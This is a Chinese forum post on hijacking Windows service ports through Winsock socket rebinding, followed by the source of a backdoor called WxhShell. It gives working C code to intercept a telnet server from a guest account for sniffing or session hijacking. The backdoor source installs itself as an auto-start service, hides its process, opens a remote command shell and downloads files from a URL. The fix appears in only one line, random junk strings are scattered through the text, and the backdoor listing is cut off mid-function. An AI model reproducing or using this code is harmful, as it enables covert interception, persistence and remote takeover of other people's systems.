社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 18059阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ygK,t*T20  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); E% Ko[G  
o0dD  
  saddr.sin_family = AF_INET; 4CS$%Cu\?w  
g"g3|$#Ej|  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); $H/: -v  
(S6>^:;=~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); O >@Q>Z8W?  
Tq6\oIBkV  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7x*C` Et<x  
{"rL3Lk  
  这意味着什么?意味着可以进行如下的攻击: J$`5KbT3  
wX!0KxR/Z  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 _b * gg  
f>Tn#OW  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >yLdrf  
1].m4vC  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `+0P0(bn  
p>+Q6o9O  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  zOy_qozk  
20:![/7:!  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 bJynUZ  
X'xnJtk  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 P"[{s^mb  
iWkC: fQz  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 V%`\x\Xat  
o}52Qio  
  #include n9Vr*RKM)  
  #include r =]$>&  
  #include ws$kwSHq  
  #include    Dh<}j3]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   C[><m2T  
  int main() `<hMrhfh  
  { @R`Ao9n9V  
  WORD wVersionRequested; Y+0GJuBf  
  DWORD ret; MaF4lFmS  
  WSADATA wsaData; SXNde@% {  
  BOOL val; |>wGl  
  SOCKADDR_IN saddr; 02YmV%  
  SOCKADDR_IN scaddr; tNYuuC%N  
  int err; o,/wE  
  SOCKET s; sdN1BV2  
  SOCKET sc; Z ?F_({im  
  int caddsize; . \8"f]~  
  HANDLE mt;  LYyud  
  DWORD tid;   e^N}(Kpy  
  wVersionRequested = MAKEWORD( 2, 2 ); +.-mqtM  
  err = WSAStartup( wVersionRequested, &wsaData ); NFqGbA|  
  if ( err != 0 ) { h" f_T [  
  printf("error!WSAStartup failed!\n"); uSH_=^yTQ  
  return -1; &#!1 Y[e^  
  } %{? 9#))  
  saddr.sin_family = AF_INET; `(E$-m-~jH  
   v z&88jt  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 O<MO2U+^x  
{/qQ=$t  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); drbim8 !q~  
  saddr.sin_port = htons(23); 1I40N[PE)  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1-|aeJ  
  { Mt@Ma ]!  
  printf("error!socket failed!\n"); $KP&#;9  
  return -1; 2AEVBkF;M  
  } K87yQOjPv  
  val = TRUE; -wh  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Q(x/&]7=V  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 'LR|DS[Ne  
  { bGxHzzU}  
  printf("error!setsockopt failed!\n"); QZuKM'D+  
  return -1; bV+2U  
  } e`Co ='  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; jsP+,brO  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 OP\L  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 8Y:x+v5  
hoLA*v2<  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) yR"mRy1  
  { %D~Mij  
  ret=GetLastError(); [2!C ^ \t  
  printf("error!bind failed!\n"); FrE#l.)?!  
  return -1; 8\jsGN.$JZ  
  } 3 rR1/\  
  listen(s,2); 7xfS%'=y"  
  while(1) 9_ZGb"(Lj  
  { ? 51i0~O=  
  caddsize = sizeof(scaddr); 1-E utq  
  //接受连接请求 Y~?Z'uR  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); EK&0Cn3z  
  if(sc!=INVALID_SOCKET) U2v;GIo$yU  
  { #)3 B  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); eHR]qy 0_X  
  if(mt==NULL) dnh~An 9  
  { Ys|SacWC  
  printf("Thread Creat Failed!\n"); KLG29G  
  break; 7 D{%  
  } p7HLSB2Rp  
  } S)/548=`  
  CloseHandle(mt); {WQ6=wGpS  
  } (H\ `/%Bp  
  closesocket(s); -!K&\hEjj  
  WSACleanup(); 5>ktr)]  
  return 0; y|zIu I-p  
  }   Vhr6bu]  
  DWORD WINAPI ClientThread(LPVOID lpParam) 4Z5;y[k(  
  { wvxsn!Ao&=  
  SOCKET ss = (SOCKET)lpParam; c2?VjuB0  
  SOCKET sc; A(n#k&W1fZ  
  unsigned char buf[4096]; \L`x![$~q  
  SOCKADDR_IN saddr; \jmZ t*c  
  long num; ]2 $T 6  
  DWORD val; MSRk|0Mcr  
  DWORD ret; j(k}NWPH  
  //如果是隐藏端口应用的话,可以在此处加一些判断 b=U3&CV9  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   z^s\&gix  
  saddr.sin_family = AF_INET; EVC]B}  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); E0yx @Vx  
  saddr.sin_port = htons(23); eTay/i<-  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _pDfPLlY&  
  { 29m$S7[  
  printf("error!socket failed!\n"); wNn=JzP  
  return -1; <]X 6%LX  
  } ZKq#PB/.  
  val = 100; <q>d@Foi  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) B2a#:E,6  
  { >5?:iaq z  
  ret = GetLastError(); /lh1sHgD  
  return -1; gNc;P[  
  } y7%SHYC p[  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E!BzE_|i  
  { L]u^$=rI  
  ret = GetLastError(); 1iNMgA  
  return -1; x+;y0`oL  
  }  ST0TWE'  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) jA[Ir3  
  { M)nh~gU  
  printf("error!socket connect failed!\n"); ek]nLN  
  closesocket(sc); 1 ltW9^cF}  
  closesocket(ss); 8n-Xt7z  
  return -1; }`%ks  
  } TbN{ex*  
  while(1) k7;i^$@c  
  { pnyu&@e  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 !pkIaCxs  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 <;O^3_'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 $mE3 FJP>  
  num = recv(ss,buf,4096,0); o4J@M{xb_  
  if(num>0) /&_q"y9  
  send(sc,buf,num,0);  S~E@A.7  
  else if(num==0) wf &Jd:)4t  
  break; ~G-W|>  
  num = recv(sc,buf,4096,0); HtiIg a 7  
  if(num>0) YOj&1ymBZ  
  send(ss,buf,num,0); c:&8B/  
  else if(num==0) F&m9G >r  
  break; tf|;'Nc6  
  } q\|RI;W  
  closesocket(ss); 0a^bAEP  
  closesocket(sc); k0#s{<I]E  
  return 0 ; u[Si=)`VPk  
  } i/H;4#Bz  
hayJgkZ '  
`]]<.>R  
========================================================== o 9/,@Ri\5  
]8DTk!  
下边附上一个代码,,WXhSHELL _DT,iF*6  
HGh -rEh  
========================================================== EhM=wfGKw  
QKB+mjMH#x  
#include "stdafx.h" ]'M B3@T  
LjTSu9I>  
#include <stdio.h> 8ih_S2Cd  
#include <string.h> qNP)oU92  
#include <windows.h> *Egg*2P;"Q  
#include <winsock2.h> jC>#`gD  
#include <winsvc.h> 6)ln,{  
#include <urlmon.h> T!B\ixt6  
_$5DK%M}  
#pragma comment (lib, "Ws2_32.lib") cz /cY:o)  
#pragma comment (lib, "urlmon.lib") C;K+ITlJ  
PnInsf%;  
#define MAX_USER   100 // 最大客户端连接数 6$=>ckP  
#define BUF_SOCK   200 // sock buffer 9d-'%Q>+  
#define KEY_BUFF   255 // 输入 buffer +xO3<u  
fCF.P"{W"  
#define REBOOT     0   // 重启 E;x-O)(&  
#define SHUTDOWN   1   // 关机 3nc\6v%  
nKS*y*  
#define DEF_PORT   5000 // 监听端口 KsE$^`  
@6tczU}ak  
#define REG_LEN     16   // 注册表键长度 /.CS6W^z  
#define SVC_LEN     80   // NT服务名长度 :Dw_$  
zGyRzxFN  
// 从dll定义API jll:Rh(b  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2EZ7Vdz2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -Yh(bS l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); N>"L2E=z$|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  Fpn*]x  
0m4M@94  
// wxhshell配置信息 w43b=7  
struct WSCFG { T$%QK?B  
  int ws_port;         // 监听端口 N\B&|;-V  
  char ws_passstr[REG_LEN]; // 口令 rf4f'cUa  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8tQL$CbO  
  char ws_regname[REG_LEN]; // 注册表键名 T)7U+~nQ"  
  char ws_svcname[REG_LEN]; // 服务名 x[0hY0 ?[M  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =<p=?16 x  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %A'mXatk  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 av|T|J/(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no dhLR#m30T  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f7\X3v2W}3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 BA1uo0S `S  
%sOY:>  
}; g`S;xs  
kBcTXl  
// default Wxhshell configuration rZ3ji(4HS  
struct WSCFG wscfg={DEF_PORT, >.`*KQdan  
    "xuhuanlingzhe", yTg|L9  
    1, z{\tn.67  
    "Wxhshell", {G x=QNd  
    "Wxhshell", y,|2hrj/0E  
            "WxhShell Service", R@jMFh;  
    "Wrsky Windows CmdShell Service", 0{z8pNrc  
    "Please Input Your Password: ", [O&}Qk  
  1, U!r8}@  
  "http://www.wrsky.com/wxhshell.exe", v"ORn5  
  "Wxhshell.exe" B!x#|vGXL  
    }; =KOi#;1  
6[ 3 K@  
// 消息定义模块 E9j<+Ik  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xO>z )3A  
char *msg_ws_prompt="\n\r? for help\n\r#>"; iD|~$<9o  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ZJZSt% r  
char *msg_ws_ext="\n\rExit."; b:hta\%/2  
char *msg_ws_end="\n\rQuit."; dX)a D $m  
char *msg_ws_boot="\n\rReboot..."; WXmfh  
char *msg_ws_poff="\n\rShutdown..."; }RadbJ{q=  
char *msg_ws_down="\n\rSave to "; iw/~t  
N6-7RoA+  
char *msg_ws_err="\n\rErr!"; P}5bSQ( a3  
char *msg_ws_ok="\n\rOK!"; 8b]4uI <  
r1-MO`6  
char ExeFile[MAX_PATH]; Kq Jln)7  
int nUser = 0; AP,ZMpw  
HANDLE handles[MAX_USER]; z/4<x?}+hE  
int OsIsNt; ^;a .;wR  
iu8Q &Us0P  
SERVICE_STATUS       serviceStatus; b5=|1SjR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; gdTW ~b  
eo4z!@pRN  
// 函数声明 `9[n5-t  
int Install(void); >YWK"~|i~  
int Uninstall(void); BT8)t.+pv  
int DownloadFile(char *sURL, SOCKET wsh); _`;KmD&5  
int Boot(int flag); m0ra  
void HideProc(void); o[_,r]%+D  
int GetOsVer(void); i4i9EvWp  
int Wxhshell(SOCKET wsl); K\%\p$ZD  
void TalkWithClient(void *cs); rrRv 7J&Q  
int CmdShell(SOCKET sock); B2]52Fg-"  
int StartFromService(void); .tG3g:  
int StartWxhshell(LPSTR lpCmdLine); bLG7{qp  
Gn^lF7yE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $%bd`d*S  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); '9WTz(0?  
t adeG  
// 数据结构和表定义 m85ZcyW1T  
SERVICE_TABLE_ENTRY DispatchTable[] = >qNpY(Ql  
{ Q >[>{N&\  
{wscfg.ws_svcname, NTServiceMain}, H ;=^ W  
{NULL, NULL} l VD{Y`)  
}; ?sdSi--  
3>7{Q_5  
// 自我安装 qypF}Pw  
int Install(void) 2#5Q~  
{ Q ]TZyk  
  char svExeFile[MAX_PATH]; na $MR3@e  
  HKEY key; [Lje?M* r  
  strcpy(svExeFile,ExeFile); ](R /4  
dpq(=s`s  
// 如果是win9x系统,修改注册表设为自启动 r-$xLe7a  
if(!OsIsNt) { $Xt""mlQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;yN Y/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OW};i|  
  RegCloseKey(key); \jk* Nm8;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $Q#n'#c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =dNE1rdzNa  
  RegCloseKey(key); p:n l4O/  
  return 0; SPlt=*C#_  
    } f9#srIx+  
  } o N A ]G]  
} b(|&e  
else { i9Bh<j>:J  
sS{Co8EJn  
// 如果是NT以上系统,安装为系统服务 x#SE%j?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6c^?DLy9B  
if (schSCManager!=0) ~Sb)i f  
{ m,kYE9 {  
  SC_HANDLE schService = CreateService VOr: G85*s  
  ( C;:=r:bth  
  schSCManager, .u ikte  
  wscfg.ws_svcname, a_+3, fP  
  wscfg.ws_svcdisp, A/a=)s u  
  SERVICE_ALL_ACCESS, }[|9vF"g.y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , X(E`cH |  
  SERVICE_AUTO_START, `-U?{U}H  
  SERVICE_ERROR_NORMAL, u =L Dfn  
  svExeFile,  yI|x 5f  
  NULL, EZiLXQd_  
  NULL, 8*b{8%<K  
  NULL, |) ~-Wy  
  NULL, I@VzH(da\  
  NULL UZFs ]z!,k  
  ); .53 M!  
  if (schService!=0) 5!'1;GLs  
  { M1/(Xla3  
  CloseServiceHandle(schService); ]m`:T  
  CloseServiceHandle(schSCManager); <L8FI78[*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  whw+  
  strcat(svExeFile,wscfg.ws_svcname); arR<!y7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { E7R%G OH  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dR=sdqS#J  
  RegCloseKey(key); _oa*E2VN  
  return 0; a3MI+  
    } yph@H!@  
  } ))dqC l  
  CloseServiceHandle(schSCManager); cyd&bxPgj+  
} 'W9[Vm  
} Sx~mc_ekY  
6:}n}q,V  
return 1; H~#$AD+H  
} 7]?y _%kT  
W!" $g  
// 自我卸载 F> Ika=z,  
int Uninstall(void) I _Lm[  
{ JDa_;bqL  
  HKEY key; p)Q5fh0-  
C%<Dq0j  
if(!OsIsNt) { wpN [0^M-0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .EWjeVq  
  RegDeleteValue(key,wscfg.ws_regname); i4>M  
  RegCloseKey(key); '6\w4J(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p"6[S  
  RegDeleteValue(key,wscfg.ws_regname); ,H?e23G  
  RegCloseKey(key); #sF#<nHZ  
  return 0; Z3wdk6%:}  
  } p;, V  
} qh}+b^Wi  
} & \5Ur^t  
else { $!p2Kf>/Q  
YsCY~e&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %kkDitmI{  
if (schSCManager!=0) \N|}V.r  
{ vnbY^ASdw  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )~$ejS  
  if (schService!=0) H9BqE+  
  { l(3PxbT  
  if(DeleteService(schService)!=0) { cRag0.[  
  CloseServiceHandle(schService); 4\V/A+<W  
  CloseServiceHandle(schSCManager); e :ub]1I=  
  return 0; 753gcY#i  
  } "\~>[on  
  CloseServiceHandle(schService); Wo9=cYC)  
  } '>bn94$  
  CloseServiceHandle(schSCManager); -`spu)  
} K",Xe>  
} * >NML]#0  
~(c<M>Q8  
return 1; 71<4q {n  
} O]="ggq&  
. Z9c.E{  
// 从指定url下载文件 $LU|wW  
int DownloadFile(char *sURL, SOCKET wsh) &'i.W}Ib!  
{ nC$ c.K'  
  HRESULT hr; j{t r''yN  
char seps[]= "/"; U CFw+  
char *token; ?u{Mz9:?HT  
char *file; wB[ JFy"E  
char myURL[MAX_PATH]; i(# Fjp  
char myFILE[MAX_PATH]; *ZRk)  
CAA 3-"Cwi  
strcpy(myURL,sURL); =b6G' O[  
  token=strtok(myURL,seps); :< ]sJf N  
  while(token!=NULL) B/~ubw  
  { KeyHxU=?  
    file=token; 7Y 4D9pw  
  token=strtok(NULL,seps); t B}W )Eb  
  } 5Tidb$L;Du  
L&5zr_  
GetCurrentDirectory(MAX_PATH,myFILE); oq>jCOVh  
strcat(myFILE, "\\"); h^{ aG])  
strcat(myFILE, file); p[!9objU  
  send(wsh,myFILE,strlen(myFILE),0); Dn>C :YS`  
send(wsh,"...",3,0); F Zt;D  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >k}Kf1I  
  if(hr==S_OK) u VUrg;>  
return 0; dleLX%P  
else zJ8jJFL+Y  
return 1; 'Ze& LQ  
O]25 {L  
} 6 iH]N*]S^  
94rx4"AN8;  
// 系统电源模块 :`@W`V?6-  
int Boot(int flag) bGj<Dojl  
{ z5f3T D6,  
  HANDLE hToken; D_w<igu!3  
  TOKEN_PRIVILEGES tkp; Zc9S[ivq  
*unJd"<*&@  
  if(OsIsNt) { ,;=is.h9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XlwyD  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); AX{yfL  
    tkp.PrivilegeCount = 1; eX^ F^(   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `|[UF^9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s*>B"#En  
if(flag==REBOOT) { ~~,#<g[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _[hVGCSB  
  return 0; TfNm0=|  
} BQ!_i*14+  
else { vrsOA@ee3H  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &y2DI"Ff  
  return 0; rAu@`H?  
} 8{Wh4~|+  
  } 1~*JenV-  
  else { {1vlz>82  
if(flag==REBOOT) { 73E[O5?b  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) YtT:\#D  
  return 0; 7(zY:9|(  
} O~F8lQ  
else { wpJfP_H  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k/%n7 ;1  
  return 0; f{R/rb&iB  
} ARid   
} #tt*yOmiH  
0^ $6U  
return 1; [V,f@}m F  
} |?uUw$oh  
OQsF$% *   
// win9x进程隐藏模块 qH*Fv:qnM  
void HideProc(void) &28%~&L  
{ #mcGT\tQ  
:#spL*FIx  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2NqO,B|R  
  if ( hKernel != NULL ) K2pW|@~U  
  { ;kF+V*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); HY'-P&H5(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J]4Uh_>)  
    FreeLibrary(hKernel); Z;GZ?NOlY  
  } Q>>II|~;J  
lhx]r}@'MC  
return; i}e OWi  
} ]kyGm2Ty9  
x]jJ  
// 获取操作系统版本 ."JtR  
int GetOsVer(void) G8!* &vR/  
{ 0N>R!  
  OSVERSIONINFO winfo; ir3EA'_>N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qCgoB 0  
  GetVersionEx(&winfo); :/'oh]T|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qFYM2  
  return 1; InR/g@n+D1  
  else 5j$ a3nH  
  return 0; 'z3I*[!  
} O0 ,=@nw8.  
6'1m3<G_  
// 客户端句柄模块 %w3"B,k'9D  
int Wxhshell(SOCKET wsl) V'&`JZK6  
{ =F"vL  
  SOCKET wsh; eww/tGa  
  struct sockaddr_in client; ORP-@-dap  
  DWORD myID; X[KHI1@w  
OtFGo 8  
  while(nUser<MAX_USER) ae|j#!~oi  
{ Z. G<'  
  int nSize=sizeof(client); l's*HExR  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v)J(@>CZ[  
  if(wsh==INVALID_SOCKET) return 1; RYuR&0_{  
2Bg0 M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); p? L*vcU  
if(handles[nUser]==0) yRv4,{B}X>  
  closesocket(wsh); X{G&r$  
else ;_Z[' %  
  nUser++; XdxSi"+  
  } 5>u,Qh  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7@uhw">mX  
sw$$I~21  
  return 0; 4RoE>m1[G  
} K#!c<Li#  
;dVYR=l  
// 关闭 socket Js}1_K  
void CloseIt(SOCKET wsh) N(=Z4Nk5  
{ RJk42;]  
closesocket(wsh); 0l+[[ZTV  
nUser--; "9bd;Tt:  
ExitThread(0); y0_z_S#gO  
} 3P2x%Gp  
xfK@tLEZ-1  
// 客户端请求句柄 w9]HJ3qi  
void TalkWithClient(void *cs) I)wc&>Lc  
{ yeqH eZ  
]CxD m  
  SOCKET wsh=(SOCKET)cs; eNc>^:&y*  
  char pwd[SVC_LEN]; #Q'j^y 7=z  
  char cmd[KEY_BUFF]; +nU=)x?38  
char chr[1]; '4"c#kCKL  
int i,j; !@3"vd{^  
?8]g&V  
  while (nUser < MAX_USER) { uyDPWnYk  
{U"=}j(  
if(wscfg.ws_passstr) { +LwwI*;b  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^bk:g}o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ( we)0AxF'  
  //ZeroMemory(pwd,KEY_BUFF); oFL7dL  
      i=0; hAU@}"=G  
  while(i<SVC_LEN) { n4InZ!)  
<\`qRz0/  
  // 设置超时 9oQ$w?=#$  
  fd_set FdRead; =M9;`EmC  
  struct timeval TimeOut; ]e6$ ={  
  FD_ZERO(&FdRead); W:8pmI  
  FD_SET(wsh,&FdRead); 7A"v:e  
  TimeOut.tv_sec=8; u5N&Wn{  
  TimeOut.tv_usec=0; *3\N j6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); sWv!ig_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 10IX8 4  
~CuJ$(9Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U(/8dCyyY  
  pwd=chr[0]; &lnM 1W  
  if(chr[0]==0xd || chr[0]==0xa) { Pl\NzB,`  
  pwd=0; Qo\?(E M  
  break; suHi sc*  
  } >!MRk[@ V-  
  i++; rT(b t~Z  
    } nxMZd=Y  
sA2esA@C<o  
  // 如果是非法用户,关闭 socket tUi@'%>=5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); bT15jNa  
} G@P+M1c  
Fv<3VKueK[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *$Y_ %}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i}5M'~ F  
N\anjG  
while(1) { _B0C]u3D  
I%l2_hs0V  
  ZeroMemory(cmd,KEY_BUFF); '| p"HbJ  
B`)TRt+'.  
      // 自动支持客户端 telnet标准   XhUVDmeUMb  
  j=0; %7[q%S  
  while(j<KEY_BUFF) { CbwQbJ/v7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RFPcH8-u7  
  cmd[j]=chr[0]; %bS1$ v\n  
  if(chr[0]==0xa || chr[0]==0xd) { XT?wCb41R  
  cmd[j]=0; liMw(F2  
  break; P9W?sPnC5  
  } k}C4:?AT  
  j++; wxJoWbn  
    } .bUj  
+ w'q5/`  
  // 下载文件 nNf*Q r%Z  
  if(strstr(cmd,"http://")) { @z^7*#vQv  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Gk xtGe  
  if(DownloadFile(cmd,wsh)) q07H{{h/B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f@2F!  
  else ~n$\[rQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GI@;76Qf  
  } ~C>clkZ  
  else { my0iE:  
OF2 W UcQ  
    switch(cmd[0]) { ICiGZ'k  
  |{JI=$  
  // 帮助 ^7a@?|,q8  
  case '?': { XRHngW_A  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); C-\3,  
    break; :| !5d{8S8  
  } p[ &b@U#  
  // 安装 yy+:x/(N[  
  case 'i': { n5z|@I`S_  
    if(Install()) {$#88Qa\-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ksTK'7*  
    else mZG n:f}=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "dT"6,  
    break; WZTAXOw  
    } j+rY  
  // 卸载 qzEv!?)a  
  case 'r': { T$<yl#FY  
    if(Uninstall()) N.0g%0A.D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U#&+n-npO  
    else o/Q|R+yXV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4j8$& ~/  
    break; Ud7Z7?Ym  
    } uEf=Vj}G  
  // 显示 wxhshell 所在路径 0X4)=sJP  
  case 'p': { ?z2!?  
    char svExeFile[MAX_PATH]; K7@|2;e  
    strcpy(svExeFile,"\n\r"); q6ny2;/r  
      strcat(svExeFile,ExeFile); jgS3#  
        send(wsh,svExeFile,strlen(svExeFile),0); K|l}+:k  
    break; VN (*m(b  
    } wph8ln"C-  
  // 重启 BzS\p3&  
  case 'b': { ,i Y:#E  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); uE<8L(*B  
    if(Boot(REBOOT)) KCAV  
